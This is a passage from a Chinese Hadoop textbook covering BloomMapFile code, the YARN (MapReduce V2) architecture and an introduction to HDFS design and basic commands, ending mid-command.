Writable val）\nthrows IOException{\n……\nbloomFilter.add（bloomKey）；//向BloomFilter插入数据\n}\n@Override\npublic synchronized void close（）throws IOException{\nsuper.close（）；\nDataOutputStream out=fs.create（new Path（dir, BLOOM_FILE_NAME），true）；\nbloomFilter.write（out）；//写出BloomFilter\nout.flush（）；\nout.close（）；\n}\n在读入数据的时候，同样先是在初始化Reader时初始化Bloom Filter，并立刻读入输入数据中的Bloom Filter，接下来再读入key/value数据，具体代码如下：\npublic Reader（FileSystem fs, String dirName, WritableComparator comparator，\nConfiguration conf）throws IOException{\nsuper（fs, dirName, comparator, conf）；\ninitBloomFilter（fs, dirName, conf）；\n}\nprivate void initBloomFilter（FileSystem fs, String dirName，\nConfiguration conf）{\nDataInputStream in=fs.open（new Path（dirName, BLOOM_FILE_NAME））；\nbloomFilter=new DynamicBloomFilter（）；\nbloomFilter.readFields（in）；\nin.close（）；\n}\n除了提供基本的读入和写出操作，BloomMapFile类还提供了Bloom Filter的一些操作—probablyHasKey和get：第一个操作是检测某个key是否已存在于BloomMapFile中，第二个操作是如果key存在BloomMapFile中则返回其value，具体代码实现如下：\npublic boolean probablyHasKey（WritableComparable key）throws IOException{\nif（bloomFilter==null）{\nreturn true；\n}\nbuf.reset（）；\nkey.write（buf）；\nbloomKey.set（buf.getData（），1.0）；\nreturn bloomFilter.membershipTest（bloomKey）；\n}\n@Override\npublic synchronized Writable get（WritableComparable key, Writable val）\nthrows IOException{\nif（！probablyHasKey（key））{\nreturn null；\n}\nreturn super.get（key, val）；\n}\n7.5 本章小结\n本章主要介绍了Hadoop的I/O操作，主要有以下几个内容：数据完整性、压缩、序列化和基于文件的数据结构。数据完整性方面主要介绍了Hadoop是如何通过校验和机制保证数据完整性的；关于压缩介绍了目前Hadoop开发的几种压缩算法及它们的优缺点，其中压缩分割和输入分割是我们编写MapReduce程序时经常要用到的，要理解清楚；序列化主要介绍了Hadoop自己的序列化机制，它非常简单直接，并不像Java的序列化机制那样面面俱到，但这样可以使数据更加紧凑，同时也可以加快序列化和反序列化的速度；最后介绍了Hadoop自己定义的几类数据结构（也可以看成一类），它们都是非常常用的基于文件数据结构，MapReduce程序中Map程序生成的中间结果就是用这种基于文件的数据结构表示的，它也是本章中非常重要的一个内容。\n第8章 下一代MapReduce：YARN\n本章内容\nMapReduce V2设计需求\nMapReduce V2主要思想和架构\nMapReduce V2设计细节\nMapReduce V2优势\n本章小结\n在第7章中我们为大家详细介绍了MapReduce在Hadoop中的实现细节。尽管Hadoop MapReduce在全球范围内广受欢迎，但是大部分人还是从Hadoop MapReduce的框架组成中意识到了Hadoop MapReduce框架的局限性。\n1）JobTracker单点瓶颈。在之前的介绍中可以看到，MapReduce中的JobTracker负责作业的分发、管理和调度，同时还必须和集群中所有的节点保持Heartbeat通信，了解机器的运行状态和资源情况。很明显，MapReduce中独一无二的JobTracker负责了太多的任务，如果集群的数量和提交Job的数量不断增加，那么JobTracker的任务量也会随之快速上涨，造成JobTracker内存和网络带宽的快速消耗。这样的最终结果就是JobTracker成为集群的单点瓶颈，成为集群作业的中心点和风险的核心。\n2）TaskTracker端，由于作业分配信息过于简单，有可能将多个资源消耗多或运行时间长的Task分配到同一个Node上，这样会造成作业的单点失败或等待时间过长。\n3）作业延迟过高。在MapReduce运行作业之前，需要TaskTracker汇报自己的资源情况和运行情况，JobTracker根据获取的信息分配作业，TaskTracker获取任务之后再开始运行。这样的结果是通信的延迟造成作业启动时间过长。最显著的影响是小作业并不能及时完成。\n4）编程框架不够灵活。虽然现在的MapReduce框架允许用户自己定义各个阶段的处理函数和对象，但是MapReduce框架还是限制了编程的模式及资源的分配。\n针对这些问题，下面介绍MapReduce设计者提出的下一代Hadoop MapReduce框架（官方称为MRv2/YARN，为了形成对比，本章将YARN称为MapReduce V2，旧的MapReduce框架简称为MapReduce V1）。\n8.1 MapReduce V2设计需求\nHadoop MapReduce框架的设计者也意识到了MapReduce V1的缺陷，所以他们根据用户最迫切的需求设计了新一代Hadoop MapReduce框架。那么MapReduce V2需要满足用户哪些迫切需求呢？\n可靠性（Reliability）。\n可用性（Availability）。\n扩展性（Scalability）。集群应支持扩展到10 000个节点和200 000个核心。\n向后兼容（Backward Compatibility）。保证用户基于MapReduce V1编写的程序无须修改就能运行在MapReduce V2上。\n演化。使用户能够控制集群中软件的升级。\n可预测延迟（Predictable Latency）。提高小作业的反应和处理速度。\n集群利用率。比如Map Task和Reduce Task的资源共享等。\nMapReduce V2的设计者还提出了一些其次需要满足的需求：\n支持除MapReduce编程框架外的其他框架。这样能够扩大MapReduce V2的适用人群。\n支持受限和短期的服务。\n8.2 MapReduce V2主要思想和架构\n鉴于MapReduce V2的设计需求和MapReduce V1中凸显的问题，特别是JobTracker单点瓶颈问题（此问题影响着Hadoop集群的可靠性、可用性和扩展性），MapReduce V2的主要设计思路是将JobTracker承担的两大块任务—集群资源管理和作业管理进行分离，（其中分离出来的集群资源管理由全局的资源管理器（ResourceManager）管理，分离出来的作业管理由针对每个作业的应用主体（ApplicationMaster）管理），然后TaskTracker演化成节点管理器（NodeManager）。这样全局的资源管理器和局部的节点管理器就组成了数据计算框架，其中资源管理器将成为整个集群中资源最终分配者。针对作业的应用主体就成为具体的框架库，负责两个任务：与资源管理器通信获取资源，与节点服务器配合完成节点的Task任务。图8-1是MapReduce V2的结构图。\n图 8-1 MapReduce V2结构图\n（1）资源管理器\n根据功能不同将资源管理器分成两个组件：调度器（Scheduler）和应用管理器（ApplicationManager）。调度器根据集群中容量、队列和资源等限制，将资源分配给各个正在运行的应用。虽然被称为调度器，但是它仅负责资源的分配，而不负责监控各个应用的执行情况和任务失败、应用失败或硬件失败时的重启任务。调度器根据各个应用的资源需求和集群各个节点的资源容器（Resource Container，是集群节点将自身内存、CPU、磁盘等资源封装在一起的抽象概念）进行调度。应用管理器负责接收作业，协商获取第一个资源容器用于执行应用的任务主题并为重启失败的应用主题分配容器。\n（2）节点管理器\n节点管理器是每个结点的框架代理。它负责启动应用的容器，监控容器的资源使用（包括CPU、内存、硬盘和网络带宽等），并把这些用信息汇报给调度器。应用对应的应用主体负责通过协商从调度器处获取资源容器，并跟踪这些容器的状态和应用执行的情况。\n图 8-2 应用主体组件事件流\n集群每个节点上都有一个节点管理器，它主要负责：\n1）为应用启用调度器已分配给应用的容器；\n2）保证已启用的容器不会使用超过分配的资源量；\n3）为task构建容器环境，包括二进制可执行文件，jars等；\n4）为所在的节点提供一个管理本地存储资源的简单服务。\n应用程序可以继续使用本地存储资源，即使它没有从资源管理器处申请。比如：MapReduce可以利用这个服务存储Map Task的中间输出结果并将其shuffle给Reduce Task。\n（3）应用主体\n应用主体和应用是一一对应的。它主要有以下职责：\n1）与调度器协商资源；\n2）与节点管理器合作，在合适的容器中运行对应的组件task，并监控这些task执行；\n3）如果container出现故障，应用主体会重新向调度器申请其他资源；\n4）计算应用程序所需的资源量，并转化成调度器可识别的协议信息包；\n5）在应用主体出现故障后，应用管理器会负责重启它，但由应用主体自己从之前保存的应用程序执行状态中恢复应用程序。\n应用主体有以下组件（各个组件的功能可参考图8-2）：\n1）事件调度组件，是应用主体中各个组件的管理者，负责为其他组件生成事件。\n2）容器分配组件，负责将Task的资源请求翻译成发送给调度器的应用主体的资源请求，并与资源管理器协商获取资源。\n3）用户服务组件，将作业的状态、计数器、执行进度等信息反馈给Hadoop MapReduce的用户。\n4）任务监听组件，负责接收Map或Reduce Task发送的心跳信息。\n5）任务组件，负责接收Map和Reduce Task形成的心跳信息和状态更新信息。\n6）容器启动组件，通过使节点管理器运行来负责容器的启动。\n7）作业历史事件处理组件，将作业运行的历史事件写入HDFS。\n8）作业组件，维护作业和组件的状态。\n（4）资源容器\n在MapReduce V2中，系统资源的组织形式是将节点上的可用资源分割，每一份通过封装组织成系统的一个资源单元，即Container（比如固定大小的内存分片、CPU核心数、网络带宽量和硬盘空间块等。在现在提出的MapReduce V2中，所谓资源是指内存资源，每个节点由多个512MB或1GB大小的内存容器组成）。而不是像MapReduce V1中那样，将资源组织成Map池和Reduce池。应用主体可以申请任意多个该内存整数倍大小的容器。由于将每个节点上的内存资源分割成了大小固定、地位相同的容器，这些内存容器就可以在任务执行中进行互换，从而提高利用率，避免了在MapReduce V1中作业在Reduce池上的瓶颈问题和缺乏资源互换的问题。资源容器的主要职责就是运行、保存或传输应用主体提交的作业或需要存储和传输的数据。\n8.3 MapReduce V2设计细节\n上面介绍了MapReduce V2的主体设计思想和架构及其各个部分的主要职责，下面将详细介绍MapReduce V2中的一些设计细节，让大家更加深入地理解MapReduce V2。\n1.资源协商\n应用主体通过适当的资源需求描述来申请资源容器，可以包括一些指定的机器节点。应用主体还可以请求同一台机器上的多个资源容器。所有的资源请求受应用程序容量和队列容量等的限制。所以为了高效地分配集群的资源容器，应用主体需要计算应用的资源需求，并且把这些需求封装到调度器能够识别的协议信息包中，比如＜priority，（host, rack，*），memory，#containers＞。以MapReduce为例，应用主体分析input-splits并将其转化成以host为key的转置表发送给资源管理器，发送的信息中还包括在其执行期间随着执行的进度应用对资源容器需求的变化。调度器解析出应用主体的请求信息之后，会尽量分配请求的资源给应用主体。如果指定机器上的资源不可用，还可以将同一机器或者不同机器上的资源分配给给应用主体。在有些情况下，由于整个集群非常忙碌，应用主体获取的资源可能不是最合适的，此时它可以拒绝这些资源并请求重新分配。从上面介绍的资源协商的过程可以看出，MapReduce V2中的资源并不再是来自map池和reduce池，而是来自统一的资源容器，这样应用主体可以申请所需数量的资源，而不会因为资源并非所需类型而挂起。需要注意的是，调度器不允许应用主体无限制地申请资源，它会根据应用限制、用户限制、队列限制和资源限制等来控制应用主体申请到的资源规模，从而保证集群资源不被浪费。\n2.调度\n调度器收集所有正在运行应用程序的资源请求并构建一个全局的资源分配计划。调度器会根据应用程序相关的约束（如合适的机器）和全局约束（如队列资源总量，队列限制，用户限制等）分配资源。调度器使用与容量调度类似的概念，采用容量保证作为基本的策略在多个竞争关系的应用程序间分配资源。调度器的调度步骤如下：\n1）选择系统中“最低服务”的队列。这个队列可以是等待时间最长的队列，或者等待时间与已分配资源之比最大的队列等。\n2）从队列中选择拥有最高优先级的作业。\n3）满足被选出的作业的资源请求。\nMapReduce V2中只有一个接口用于应用主体向调度器请求资源。接口如下：\nResponse allocate（List＜ResourceRequest＞ask, List＜Container＞release）\n应用主体使用这个接口中的ResourceRequest列表请求特定的资源，同时使用接口中的Container列表参数告诉调度器自己释放的资源容器。\n调度器接收到应用主体的请求之后会根据自己的全局计划及各种限制返回对请求的回复。回复中主要包括三类信息：最新分配的资源容器列表、在应用主体和资源管理器上次交互之后完成任务的应用指定资源容器的状态、当前集群中应用程序可用的资源数量。应用主体可以收集完成容器的信息并对失败任务做出反应。可用资源量可以为应用主体接下来的资源申请提供参考，比如应用主体可以使用这些信息来合理分配Map和Reduce各自请求的资源数量，进而防止死锁（最明显的情况是Reduce请求占用所有的剩余可用资源）。\n3.资源监控\n调度器定期从节点管理器处收集已分配资源的使用信息。同时，调度器还会将已完成任务容器的状态设置为可用，以便有需求的应用申请使用。\n4.应用提交\n以下是应用提交的步骤。\n1）用户提交作业到应用管理器。具体的步骤是在用户提交作业之后，MapReduce框架为用户分配一个新的应用ID，并将应用的定义打包上传到HDFS上用户的应用缓存目录中。最后提交此应用给应用管理器。\n2）应用管理器接受应用提交。\n3）应用管理器同调度器协商获取运行应用主体所需的第一个资源容器，并执行应用主体。\n4）应用管理器将启动的应用主体细节信息发还给用户，以便其监督应用的进度。\n5.应用管理器组件\n应用管理器负责启动系统中所有应用的应用主体并管理其生命周期。在启动应用主体之后，应用管理器通过应用主体定期发送的“心跳”来监督应用主体，保证其可用性，如果应用主体失败，就需要将其重启。\n为了完成上述任务，应用管理器包含以下组件：\n图 8-3 MapReduce V2作业执行流程\n1）调度协商组件，负责与调度器协商应用主体所需的资源容器。\n2）应用主体容器管理组件，负责通过与节点管理器通信来启动或停止应用主体容器。\n3）应用主体监控组件，负责监控应用主体的状态，保证其可用，并且在必要的情况下重启应用主体。\n6.MapReduce V2作业执行流程\n由于主要组件发生更改，MapReduce V2中的作业执行流程也有所变化。作业的执行流程图如图8-3所示（仅说明主要流程，一些反馈流程和心跳通信并未标注）。\n步骤①：MapReduce框架接收用户提交的作业，并为其分配一个新的应用ID，并将应用的定义打包上传到HDFS上用户的应用缓存目录中，然后提交此应用给应用管理器。\n步骤②：应用管理器同调度器协商获取运行应用主体所需的第一个资源容器。\n步骤③：应用管理器在获取的资源容器上执行应用主体。\n步骤④：应用主体计算应用所需资源，并发送资源请求到调度器。\n步骤⑤：调度器根据自身统计的可用资源状态和应用主体的资源请求，分配合适的资源容器给应用主体。\n步骤⑥：应用主体与所分配容器的节点管理器通信，提交作业情况和资源使用说明。\n步骤⑦：节点管理器启用容器并运行任务。\n步骤⑧：应用主体监控容器上任务的执行情况。\n步骤⑨：应用主体反馈作业的执行状态信息和完成状态。\n7.MapReduce V2系统可用性保证\n系统可用性主要指MapReduce V2中各个组件的可用性，即保证能使其在失败之后迅速恢复并提供服务，比如保证资源管理器、应用主体等的可用性。首先介绍MapReduce V2如何保证MapReduce应用和应用主体的可用性。在之前已有介绍，资源管理器中的应用管理器负责监控MapReduce应用主体的执行情况。在应用主体发生失败之后，应用管理器仅重启应用主体，再由应用主体恢复某个特定的MapReduce作业。应用主体在恢复MapReduce作业时，有三种方式可供选择：完成重启MapReduce作业；重启未完成的Map和Reduce任务；向应用主体标明失败时正在运行的Map和Reudce任务，然后恢复作业执行。第一种方式的代价比较大，会重复工作；第二种方式效果较好，但仍有可能重复Reduce任务的部分工作；第三种方式最为理想，从失败点直接重新开始，没有任何重复工作，但这种方式对系统的要求过高。在MapReduce V2中选择了第二种恢复方式，具体实现方式是：应用管理器在监督MapReduce任务执行的同时记录日志，标明已完成的Map和Reduce任务；在恢复作业时，分析日志后重启未完成的任务即可。\n接下来介绍MapReduce V2如何保证资源管理器的可用性。资源管理器在运行服务过程中，使用ZooKeeper保存资源管理的状态，包括应用管理器进程情况、队列定义、资源分配情况、节点管理器情况等信息。在资源管理器失败之后，由资源管理器根据自己的状态进行自我恢复。\n8.4 MapReduce V2优势\n1）分散了JobTracker的任务。资源管理任务由资源管理器负责，作业启动、运行和监测任务由分布在集群节点上的应用主体负责。这样大大减缓了MapReduce V1中JobTracker单点瓶颈和单点风险的问题，大大提高了集群的扩展性和可用性。\n2）在MapReduce V2中应用主体（ApplicationMaster）是一个用户可自定制的部分，因此用户可以针对编程模型编写自己的应用主体程序。这样大大扩展了MapReduce V2的适用范围。\n3）在资源管理器上使用ZooKeeper实现故障转移。当资源管理器故障时，备用资源管理器将根据保存在ZooKeeper中的集群状态快速启动。MapReduce V2支持应用程序指定检查点。这就能保证应用主体在失败后能迅速地根据HDFS上保存的状态重启。这两个措施大大提高了MapReduce V2的可用性。\n4）集群资源统一组织成资源容器，而不像在MapReduce V1中Map池和Reduce池有所差别。这样只要有任务请求资源，调度器就会将集群中的可用资源分配给请求任务，而无关资源类型。这大大提高了集群资源的利用率。\n8.5 本章小结\n本章结合MapReduce V1的缺陷为大家介绍了MapReduce V2，包括设计需求、主要设计思想、设计细节和相对于MapReduce V1的优势。大家应深入理解其思想和架构，以适应MapReduce发展的新形势。\n第9章 HDFS详解\n本章内容\nHadoop的文件系统\nHDFS简介\nHDFS体系结构\nHDFS的基本操作\nHDFS常用Java API详解\nHDFS中的读写数据流\nHDFS命令详解\nWebHDFS\n本章小结\nHDFS（Hadoop Distributed File System）是Hadoop项目的核心子项目，是Hadoop主要应用的一个分布式文件系统，本章将对它进行详细介绍。实际上，Hadoop中有一个综合性的文件系统抽象，它提供了文件系统实现的各类接口，HDFS只是这个抽象文件系统的一个实例。\n在本章中，我们首先会对Hadoop的文件系统给予一个总体的介绍，然后对HDFS的相关内容给予重点地讲解，包括HDFS的特点、基本操作、常用API及读/写数据流等。\n9.1 Hadoop的文件系统\nHadoop整合了众多文件系统，它首先提供了一个高层的文件系统抽象org.apache.hadoop.fs.FileSystem，这个抽象类展示了一个分布式文件系统，并有几个具体实现，如表9-1所示。\nHadoop提供了许多文件系统的接口，用户可使用URI方案选取合适的文件系统来实现交互。比如，可以使用9.4.1节介绍的文件系统命令行接口进行Hadoop文件系统的操作。如果想列出本地文件系统的目录，那么执行以下shell命令即可：\nhadoop fs-ls file：///\n（1）接口\nHadoop是使用Java编写的，而Hadoop中不同文件系统之间的交互是由Java API进行调节的。事实上，前面使用的文件系统的shell就是一个Java应用，它使用Java文件系统类来提供文件系统操作。即使其他文件系统比如FTP、S3都有自己的访问工具，这些接口在HDFS中还是被广泛使用，主要用来进行Hadoop文件系统之间的协作。\n（2）Thrift\n上面提到可以通过Java API与Hadoop的文件系统进行交互，而对于其他非Java应用访问Hadoop文件系统则比较麻烦。Thriftfs分类单元中的Thrift API可通过将Hadoop文件系统展示为一个Apache Thrift服务来填补这个不足，让任何有Thrift绑定的语言都能轻松地与Hadoop文件系统进行交互。Thrift是由Facebook公司开发的一种可伸缩的跨语言服务的发展软件框架。Thrift解决了各系统间大数据量的传输通信，以及系统之间语言环境不同而需要跨平台的问题。在多种不同的语言之间通信时，Thrift可以作为二进制的高性能的通信中间件，它支持数据（对象）序列化和多种类型的RPC服务。\n下面来看如何使用Thrift API。要使用Thrift API，首先要运行提供Thrift服务的Java服务器，并以代理的方式访问Hadoop文件系统。Thrift API包含很多其他语言生成的stub，包括C++、Perl、PHP、Python等。Thrift支持不同的版本，因此可以从同一个客户代码中访问不同版本的Hadoop文件系统，但要运行针对不同版本的代理。\n关于安装与使用教程，可以参考src/contrib/thriftfs目录中关于Hadoop分布的参考文档。\n（3）C语言库\nHadoop提供了映射Java文件系统接口的C语言库—libhdfs。libhdfs可以编写为一个访问HDFS的C语言库，实际上，它可以访问任意的Hadoop文件系统，也可以使用JNI（Java Native Interface）来调用Java文件系统的客户端。\n这里的C语言的接口和Java的使用非常相似，只是稍滞后于Java，目前还不支持一些新特性。相关资料可参见libhdfs/docs/api目录中关于Hadoop分布的C API文档。\n（4）FUSE\nFUSE（Filesystem in Userspace）允许文件系统整合为一个Unix文件系统并在用户空间中执行。通过使用Hadoop Fuse-DFS的contirb模块支持任意的Hadoop文件系统作为一个标准文件系统进行挂载，便可以使用UNIX的工具（像ls、cat）和文件系统进行交互，还可以通过任意一种编程语言使用POSIX库来访问文件系统。\nFuse-DFS是用C语言实现的，可使用libhdfs作为与HDFS的接口，关于如何编译和运行Fuse-DFS，可以参见src/contrib../fuse-dfs中的相关文档。\n（5）WebDAV\nWebDAV是一系列支持编辑和更新文件的HTTP的扩展。在大部分操作系统中，WebDAV共享都可以作为文件系统进行挂载，因此，通过WebDAV向外提供HDFS或其他Hadoop文件系统，可以将HDFS作为一个标准的文件系统进行访问。\n（6）其他HDFS接口\nHDFS接口还提供了以下其他两种特定的接口。\nHTTP。HDFS定义了一个只读接口，用来在HTTP上检索目录列表和数据。NameNode的嵌入式Web服务器运行在50070端口上，以XML格式提供服务，文件数据由DataNode通过它们的Web服务器50075端口向NameNode提供。这个协议并不拘泥于某个HDFS版本，所以用户可以自己编写使用HTTP从运行不同版本的Hadoop的HDFS中读取数据。HftpFileSystem就是其中一种实现，它是一个通过HTTP和HDFS交流的Hadoop文件系统，是HTTPS的变体。\nFTP。Hadoop接口中还有一个HDFS的FTP接口，它允许使用FTP协议和HDFS交互，即使用FTP客户端和HDFS进行交互。\n9.2 HDFS简介\nHDFS是基于流数据模式访问和处理超大文件的需求而开发的，它可以运行于廉价的商用服务器上。总的来说，可以将HDFS的主要特点概括为以下几点。\n（1）处理超大文件\n这里的超大文件通常是指数百MB、甚至数百TB大小的文件。目前在实际应用中，HDFS已经能用来存储管理PB（PeteBytes）级的数据了。在雅虎，Hadoop集群也已经扩展到了4 000个节点。\n（2）流式地访问数据\nHDFS的设计建立在更多地响应“一次写入、多次读取”任务的基础之上。这意味着一个数据集一旦由数据源生成，就会被复制分发到不同的存储节点中，然后响应各种各样的数据分析任务请求。在大多数情况下，分析任务都会涉及数据集中的大部分数据，也就是说，对HDFS来说，请求读取整个数据集要比读取一条记录更加高效。\n（3）运行于廉价的商用机器集群上\nHadoop设计对硬件需求比较低，只需运行在廉价的商用硬件集群上，而无需昂贵的高可用性机器。廉价的商用机也就意味着大型集群中出现节点故障情况的概率非常高。这就要求在设计HDFS时要充分考虑数据的可靠性、安全性及高可用性。\n正是由于以上的种种考虑，我们会发现，现在的HDFS在处理一些特定问题时不但没有优势，而且还有一定的局限性，主要表现在以下几方面。\n（1）不适合低延迟数据访问\n如果要处理一些用户要求时间比较短的低延迟应用请求，则HDFS不适合。HDFS是为了处理大型数据集分析任务，主要是为达到高的数据吞吐量而设计的，这就要求可能以高延迟作为代价。目前有一些补充方案，比如使用HBase，通过上层数据管理项目来尽可能地弥补这个不足。\n（2）无法高效存储大量小文件\n在Hadoop中需要用NameNode（名称节点）来管理文件系统的元数据，以响应客户端请求返回文件位置等，因此文件数量大小的限制要由NameNode来决定。例如，每个文件、索引目录及块大约占100字节，如果有100万个文件，每个文件占一个块，那么至少要消耗200MB内存，这似乎还可以接受。但如果有更多文件，那么NameNode的工作压力更大，检索处理元数据所需的时间就不可接受了。\n（3）不支持多用户写入及任意修改文件\n在HDFS的一个文件中只有一个写入者，而且写操作只能在文件末尾完成，即只能执行追加操作。目前HDFS还不支持多个用户对同一文件的写操作以及在文件任意位置进行修改。\n当然，以上几点都是当前的问题，相信随着研究者的努力，HDFS会更加成熟，可以满足更多的应用需要。以下链接是Hadoop的一些热点研究方向，读者可以自行参考：\nhttp://wiki. apache.org/hadoop/ProjectSuggestions.\n9.3 HDFS体系结构\n想要了解HDFS的体系结构，首先从HDFS的相关概念入手，下面将介绍HDFS中的几个重要概念。\n 9.3.1 HDFS的相关概念\n1.块（Block）\n我们知道，在操作系统中都有一个文件块的概念，文件以块的形式存储在磁盘中，此处块的大小代表系统读/写可操作的最小文件大小。也就是说，文件系统每次只能操作磁盘块大小的整数倍数据。通常来说，一个文件系统块大小为几千字节，而磁盘块大小为512字节。文件的操作都由系统完成，这些对用户来说都是透明的。\n这里，我们所要介绍的HDFS中的块是一个抽象的概念，它比上面操作系统中所说的块要大得多。在配置Hadoop系统时会看到，它的默认块大小为64MB。和单机上的文件系统相同，HDFS分布式文件系统中的文件也被分成块进行存储，它是文件存储处理的逻辑单元（如果没有特别指出，后文中所描述的块都是指HDFS中的块）。\nHDFS作为一个分布式文件系统，设计是用来处理大文件的，使用抽象的块会带来很多好处。一个好处是可以存储任意大的文件而又不会受到网络中任一单个节点磁盘大小的限制。可以想象一下，单个节点存储100TB的数据是不可能的，但是由于逻辑块的设计，HDFS可以将这个超大的文件分成众多块，分别存储在集群的各个机器上。另外一个好处是使用抽象块作为操作的单元可以简化存储子系统。这里之所以提到简化，是因为这是所有系统的追求，而对故障出现频繁、种类繁多的分布式系统来说，简化就显得尤为重要。在HDFS中块的大小固定，这样它就简化了存储系统的管理，特别是元数据信息可以和文件块内容分开存储。不仅如此，块更有利于分布式文件系统中复制容错的实现。在HDFS中，为了处理节点故障，默认将文件块副本数设定为3份，分别存储在集群的不同节点上。当一个块损坏时，系统会通过NameNode获取元数据信息，在另外的机器上读取一个副本并进行存储，这个过程对用户来说都是透明的。当然，这里的文件块副本冗余量可以通过文件进行配置，比如在有些应用中，可能会为操作频率较高的文件块设置较高的副本数量以提高集群的吞吐量。\n在HDFS中，可以通过终端命令直接获得文件和块信息，比如以下命令可以列出文件系统中组成各个文件的块（有关HDFS的命令，将会在9.4节中详细讲解）：\nhadoop fsck/-files-blocks\n2.NameNode和DataNode\nHDFS体系结构中有两类节点，一类是NameNode，另一类是DataNode。这两类节点分别承担Master和Worker的任务。NameNode就是Master管理集群中的执行调度，DataNode就是Worker具体任务的执行节点。NameNode管理文件系统的命名空间，维护整个文件系统的文件目录树及这些文件的索引目录。这些信息以两种形式存储在本地文件系统中，一种是命名空间镜像（Namespace image），一种是编辑日志（Edit log）。从NameNode中你可以获得每个文件的每个块所在的DataNode。需要注意的是，这些信息不是永久保存的，NameNode会在每次系统启动时动态地重建这些信息。当运行任务时，客户端通过NameNode获取元数据信息，和DataNode进行交互以访问整个文件系统。系统会提供一个类似于POSIX的文件接口，这样用户在编程时无须考虑NameNode和DataNode的具体功能。\nDataNode是文件系统Worker中的节点，用来执行具体的任务：存储文件块，被客户端和NameNode调用。同时，它会通过心跳（Heartbeat）定时向NameNode发送所存储的文件块信息。\n9.3.2 HDFS的体系结构\n如图9-1所示，HDFS采用Master/Slave架构对文件系统进行管理。一个HDFS集群是由一个NameNode和一定数目的DataNode组成的。NameNode是一个中心服务器，负责管理文件系统的名字空间（Namespace）以及客户端对文件的访问。集群中的DataNode一般是一个节点运行一个DataNode进程，负责管理它所在节点上的存储。HDFS展示了文件系统的名字空间，用户能够以文件的形式在上面存储数据。从内部看，一个文件其实被分成一个或多个数据块，这些块存储在一组DataNode上。NameNode执行文件系统的名字空间操作，比如打开、关闭、重命名文件或目录。它也负责确定数据块到具体DataNode节点的映射。DataNode负责处理文件系统客户端的读/写请求。在NameNode的统一调度下进行数据块的创建、删除和复制。\n1.副本存放与读取策略\n副本的存放是HDFS可靠性和性能的关键，优化的副本存放策略也正是HDFS区分于其他大部分分布式文件系统的重要特性。HDFS采用一种称为机架感知（rack-aware）的策略来改进数据的可靠性、可用性和网络带宽的利用率。大型HDFS实例一般运行在跨越多个机架的计算机组成的集群上，不同机架上的两台机器之间的通信需要经过交换机，这样会增加数据传输的成本。在大多数情况下，同一个机架内的两台机器间的带宽会比不同机架的两台机器间的带宽大。\n图 9-1 HDFS的体系结构\n一方面，通过一个机架感知的过程，NameNode可以确定每个DataNode所属的机架ID。目前HDFS采用的策略就是将副本存放在不同的机架上，这样可以有效防止整个机架失效时数据的丢失，并且允许读数据的时候充分利用多个机架的带宽。这种策略设置可以将副本均匀地分布在集群中，有利于在组件失效情况下的负载均衡。但是，因为这种策略的一个写操作需要传输数据块到多个机架，这增加了写操作的成本。\n举例来看，在大多数情况下，副本系数是3，HDFS的存放策略是将一个副本存放在本地机架的节点上，另一个副本放在同一机架的另一个节点上，第三个副本放在不同机架的节点上。这种策略减少了机架间的数据传输，提高了写操作的效率。机架的错误远比节点的错误少，所以这个策略不会影响数据的可靠性和可用性。同时，因为数据块只放在两个不同的机架上，所以此策略减少了读取数据时需要的网络传输总带宽。这一策略在不损害数据可靠性和读取性能的情况下改进了写的性能。\n另一方面，在读取数据时，为了减少整体的带宽消耗和降低整体的带宽延时，HDFS会尽量让读取程序读取离客户端最近的副本。如果在读取程序的同一个机架上有一个副本，那么就读取该副本；如果一个HDFS集群跨越多个数据中心，那么客户端也将首先读取本地数据中心的副本。\n2.安全模式\nNameNode启动后会进入一个称为安全模式的特殊状态。处于安全模式的NameNode不会进行数据块的复制。NameNode从所有的DataNode接收心跳信号和块状态报告。块状态报告包括了某个DataNode所有的数据块列表。每个数据块都有一个指定的最小副本数。当NameNode检测确认某个数据块的副本数目达到最小值时，该数据块就会被认为是副本安全的；在一定百分比（这个参数可配置）的数据块被NameNode检测确认是安全之后（加上一个额外的30秒等待时间），NameNode将退出安全模式状态。接下来它会确定还有哪些数据块的副本没有达到指定数目，并将这些数据块复制到其他DataNode上。9.7节中将详细介绍安全模式的相关命令。\n3.文件安全\nNameNode的重要性是显而易见的，没有它客户端将无法获得文件块的位置。在实际应用中，如果集群的NameNode出现故障，就意味着整个文件系统中全部的文件会丢失，因为我们无法再通过DataNode上的文件块来重构文件。下面简单介绍Hadoop是采用哪种机制来确保NameNode的安全的。\n第一种方法是，备份NameNode上持久化存储的元数据文件，然后将其转储到其他文件系统中，这种转储是同步的、原子的操作。通常的实现方法是，将NameNode中的元数据转储到远程的NFS文件系统中。\n第二种方法是，系统中同步运行一个Secondary NameNode（二级NameNode）。这个节点的主要作用就是周期性地合并编辑日志中的命名空间镜像，以避免编辑日志过大。Secondary NameNode的运行通常需要大量的CPU和内存去做合并操作，这就要求其运行在一台单独的机器上。在这台机器上会存储合并过的命名空间镜像，这些镜像文件会在NameNode宕机后做替补使用，用以最大限度地减少文件的损失。但是，需要注意的是，Secondary NameNode的同步备份总会滞后于NameNode，所以损失是必然的。有关文件系统镜像和编辑日志的详细介绍请参见第10章。\n9.4 HDFS的基本操作\n本节将对HDFS的命令行操作及其Web界面进行介绍。\n 9.4.1 HDFS的命令行操作\n可以通过命令行接口来和HDFS进行交互。当然，命令行接口只是HDFS的访问接口之一，它的特点是更加简单直观，便于使用，可以进行一些基本操作。在单机上运行Hadoop、执行单机伪分布（笔者的环境为Windows下的单节点情况，与其他情况下命令行一样，大家可自行参考），具体的安装与配置可以参看本书第2章，随后我们会介绍如何运行在集群机器上，以支持可扩展性和容错。\n在单机伪分布的配置中需要修改两个配置属性。第一个需要修改的配置文件属性为fs.default.name，并将其设置为hdfs：//localhost/，用来设定一个默认的Hadoop文件系统，再使用一个hdfsURI来配置说明，Hadoop默认使用HDFS文件系统。HDFS的守护进程会通过这个属性来为NameNode定义HDFS中的主机和端口。这里在本机localhost运行HDFS，其端口采用默认的8020。HDFS的客户端可以通过这个属性访问各个节点。\n第二个需要修改的配置文件属性为dfs.replication，因为采用单机伪分布，所以不支持副本，HDFS不可能将副本存储到其他两个节点，因此要将配置文件中默认的副本数3改为1。\n下面就具体介绍如何通过命令行访问HDFS文件系统。本节主要讨论一些基本的文件操作，比如读文件、创建文件存储路径、转移文件、删除文件、列出文件列表等操作。在终端中我们可以通过输入fs-help获得HDFS操作的详细帮助信息。\n首先，我们将本地的一个文件复制到HDFS中，操作命令如下：\nhadoop fs-copyFromLocal testInput/hello.txt 